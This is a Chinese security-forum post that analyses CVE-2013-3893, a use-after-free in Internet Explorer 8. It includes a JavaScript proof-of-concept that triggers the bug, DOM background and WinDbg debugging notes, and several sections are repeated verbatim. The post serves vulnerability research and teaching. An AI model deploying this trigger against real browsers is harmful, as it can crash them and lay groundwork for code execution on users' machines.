首页
社区
课程
招聘
[原创]CVE-2013-3893 详细分析——【IE UAF】
发表于: 2018-5-19 00:32 5715

[原创]CVE-2013-3893 详细分析——【IE UAF】

2018-5-19 00:32
5715

这个洞看了几天了一直拖着,但同时又很想去搞上周很火的7zip,最近还想去学学Fuzz框架,所以一狠心下楼买了瓶肥宅快乐水决定一定要今晚把这个总结整理完结束。因为开始调试这个CVE之前对浏览器的渲染机制也不是很清楚,所以本着对新手友好的原则,尽量会写的详细一点。

调试环境:

Windows7 sp1 x86

IE8.0.7601.17514

解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。

举例:

DOM既然是树状结构,那么他们自然有如下的几种关系:

       

若非空,则进入如下流程:函数进入LABEL_31,创建CElementCapture对象。之后通过CDoc::GetLastCapture函数,获取上一个具有Capture的对象,若结果为空,则进入如下流程(PoC中id_0.setCapture()进入此流程)

https://www.cnblogs.com/Ox9A82/p/5797123.html

http://www.freebuf.com/vuls/54786.html

http://zenhumany.blog.163.com/blog/static/17180663320139305259394/ 

https://www.cnblogs.com/ghsau/archive/2012/07/18/2768532.html

https://blog.csdn.net/xiaogaobai/article/details/48780353

https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/#1_1 (介绍浏览器的工作原理,超nice,正在学习)


调试环境:

Windows7 sp1 x86

IE8.0.7601.17514


一、漏洞原理

PoC:

<html>

<script>

function trigger()

{
    Math.tan(1,1);
    var id_0 = document.createElement("sup");
    var id_1 = document.createElement("audio"); 
    document.body.appendChild(id_0);
    document.body.appendChild(id_1);
    Math.tan(3,4);
    id_1.applyElement(id_0);

    id_0.onlosecapture=function(e) {
	Math.cos(0); //这个辅助语句的位置在后面将会探讨
	document.write(""); 
    }
    Math.sin(0);
    id_0['outerText']=""; 
    Math.cos(0);
    id_0.setCapture();
    id_1.setCapture();
    Math.cos(0);
}

window.onload = function() {

trigger();

}

</script>

</html>

开始调试之前我们先完整地分析一下PoC的代码。首先需要了解的就是DOM树的生成:

解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。

举例:

<html>  

<body>    

    <p>HelloWorld</p>    
    <div><img src="example.png"/></div>  

</body>

</html>

DOM既然是树状结构,那么他们自然有如下的几种关系:

  • 根结点(document)
  • 父结点(parentNode)
  • 子结点(childNodes)
  • 兄弟结点兄弟结点(sibling)(sibling)

下图即为上段代码所生成的DOM树结构:
<html>

<script>

function trigger()

{
    Math.tan(1,1);
    var id_0 = document.createElement("sup");
    var id_1 = document.createElement("audio"); 
    document.body.appendChild(id_0);
    document.body.appendChild(id_1);
    Math.tan(3,4);
    id_1.applyElement(id_0);

    id_0.onlosecapture=function(e) {
	Math.cos(0); //这个辅助语句的位置在后面将会探讨
	document.write(""); 
    }
    Math.sin(0);
    id_0['outerText']=""; 
    Math.cos(0);
    id_0.setCapture();
    id_1.setCapture();
    Math.cos(0);
}

window.onload = function() {

trigger();

}

</script>

</html>

开始调试之前我们先完整地分析一下PoC的代码。首先需要了解的就是DOM树的生成:

解析树是由DOM(Document Object Model)元素和属性节点构成的树结构,根节点是Document对象。

举例:

<html>  

<body>    

    <p>HelloWorld</p>    
    <div><img src="example.png"/></div>  

</body>

</html>

<html>  

<body>    

    <p>HelloWorld</p>    
    <div><img src="example.png"/></div>  

</body>

</html>

DOM既然是树状结构,那么他们自然有如下的几种关系:

  • 根结点(document)
  • 父结点(parentNode)
  • 子结点(childNodes)
  • 兄弟结点兄弟结点(sibling)(sibling)

下图即为上段代码所生成的DOM树结构:

    PoC的执行流程:
  1. document.createElement()语句创建了一个对象,document.body.appendChild创建了一个CTreeNode指向之前所创建的对象,成为body节点的子节点。
  2. id_1.applyElement(id_0): id_1与id_0本为兄弟节点,这条代码将id_1改为id_0的子节点,后续调试过程中将会验证。
  3. id_0['outerText']="":将会删除id_0节点及其子节点。通过innerText属性可以操作元素中包含的所有文本内容,包括子文档树中的文本。在通过innerText写入值时,结果会删除元素的所有子节点,插入包含相应文本值的文本节点。通过outerText属性操作时作用范围会扩大到包含调用它的节点之外,在写操作时,outerText不只是替换调用它的元素的子节点,而是会替换整个元素。
        
    4.  id_0.setCapture();在调用id_1.setCapture()之后,id_0.onlosecapture调用document.write("")。在DOM树就绪后执行document.write会重新渲染整个页面,

<!DOCTYPE html>      
<html>      
<head>         
<title>123456</title>     
<script type="text/javascript">  
    window.onload=function(){
        document.write("Iuobobo");
    }
</script>
</head>  
<body>  
    <div>123456</div>
</body>  
</html>

所以这句代码将所有对象释放,CBodyElement的CTreeNode也被释放。

具体细节开始调试慢慢验证:

PoC断在CTreeNode::GetInterface+0xb6,用kv命令回溯得到上层函数,默默记仇,不是,记下。

从头来过,加载PoC并打下断点:

在第一次命中tan之前是<html>、<body>等创建,重点关注之后内容:
这里建立了id_0、id_1两个Element


    PoC的执行流程:
  1. document.createElement()语句创建了一个对象,document.body.appendChild创建了一个CTreeNode指向之前所创建的对象,成为body节点的子节点。
  2. id_1.applyElement(id_0): id_1与id_0本为兄弟节点,这条代码将id_1改为id_0的子节点,后续调试过程中将会验证。
  3. id_0['outerText']="":将会删除id_0节点及其子节点。通过innerText属性可以操作元素中包含的所有文本内容,包括子文档树中的文本。在通过innerText写入值时,结果会删除元素的所有子节点,插入包含相应文本值的文本节点。通过outerText属性操作时作用范围会扩大到包含调用它的节点之外,在写操作时,outerText不只是替换调用它的元素的子节点,而是会替换整个元素。
        
    4.  id_0.setCapture();在调用id_1.setCapture()之后,id_0.onlosecapture调用document.write("")。在DOM树就绪后执行document.write会重新渲染整个页面,
<!DOCTYPE html>      
<html>      
<head>         
<title>123456</title>     
<script type="text/javascript">  
    window.onload=function(){
        document.write("Iuobobo");
    }
</script>
</head>  
<body>  
    <div>123456</div>
</body>  
</html>

所以这句代码将所有对象释放,CBodyElement的CTreeNode也被释放。

具体细节开始调试慢慢验证:

PoC断在CTreeNode::GetInterface+0xb6,用kv命令回溯得到上层函数,默默记仇,不是,记下。

从头来过,加载PoC并打下断点:

在第一次命中tan之前是<html>、<body>等创建,重点关注之后内容:
这里建立了id_0、id_1两个Element

加入DOM树中:


可以看到CTreeNode+0x00指向的即为自身的Element,+0x04指向的是同一个地址,猜测是他们的父节点Body的TreeNode,果然:

同时,在下一次命中tan后(保证插入DOM树执行流程结束),可以看到Element+0x14也指向TreeNode节点:

在执行完id_1.applyElement(id_0)之后,如上文分析PoC中提到,id_1变为id_0的子节点:

接下来是关键的id_0['outerText']="";

执行结束之后可以看到id_0的TreeNode已经脱落,作为其子节点id_1的TreeNode也被删除。

当id_1.setCapture执行,将会触发id_0.onlosecapture,断在document.write("")之前的cos函数,此时对最开始回溯得到的函数下断点。
在第二次执行NodeAddRef函数时,跟进GetInterface,(这里我不小心重开过一次,跟上文中的地址不同了)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-5-22 16:52 被luobobo编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (5)
雪    币: 2083
活跃值: (919)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
2
你是真的快乐
2018-5-19 00:53
0
雪    币: 1795
活跃值: (63)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
大力支持,7zip最近爆的那个漏洞好像挺多人关注的,期待楼主的下一篇文章
最后于 2018-5-19 01:04 被myangel编辑 ,原因:
2018-5-19 01:04
0
雪    币: 184
活跃值: (161)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
4
vlinkstone 你是真的快乐[em_41]
总有一天我们会一样快乐
2018-5-19 09:40
0
雪    币: 184
活跃值: (161)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
5
myangel 大力支持,7zip最近爆的那个漏洞好像挺多人关注的,期待楼主的下一篇文章
感谢支持
2018-5-19 09:41
0
雪    币: 1795
活跃值: (63)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
luobobo 感谢支持
最近也在看这块,准备写一篇漏洞的文章,配合某款病毒,到时候过来支持下
2018-5-21 01:58
0
游客
登录 | 注册 方可回帖
返回
//